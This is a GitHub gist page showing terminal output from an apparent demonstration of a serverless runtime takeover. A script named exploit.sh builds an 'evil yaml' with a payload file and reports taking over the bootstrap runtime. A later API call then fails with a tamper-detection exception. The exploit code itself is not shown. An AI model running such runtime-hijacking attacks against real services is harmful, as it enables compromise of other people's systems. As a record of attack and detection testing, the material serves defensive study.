Skip to content

Instantly share code, notes, and snippets.

@gyrospectre
Created October 4, 2021 01:35
Show Gist options
  • Save gyrospectre/a42d2f17af479355e6bfb4f80ae7890a to your computer and use it in GitHub Desktop.
Save gyrospectre/a42d2f17af479355e6bfb4f80ae7890a to your computer and use it in GitHub Desktop.
$ curl -X POST <API URL> -d "{test12344: 'test1'}"
{"test12344": "test1"}
$./exploit.sh ...
[+] Creating evil yaml with payload 'switch_runtime.py' and data 'exploit.tmp'
[+] Done, evil yaml at evil_yaml
{"Output": "Successfully took over the bootstrap runtime"}
$ curl -X POST <API URL> -d "{test12344: 'test1'}"
Exception('Runtime has been tampered with, aborting! File: /tmp/new_runtime.py')
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment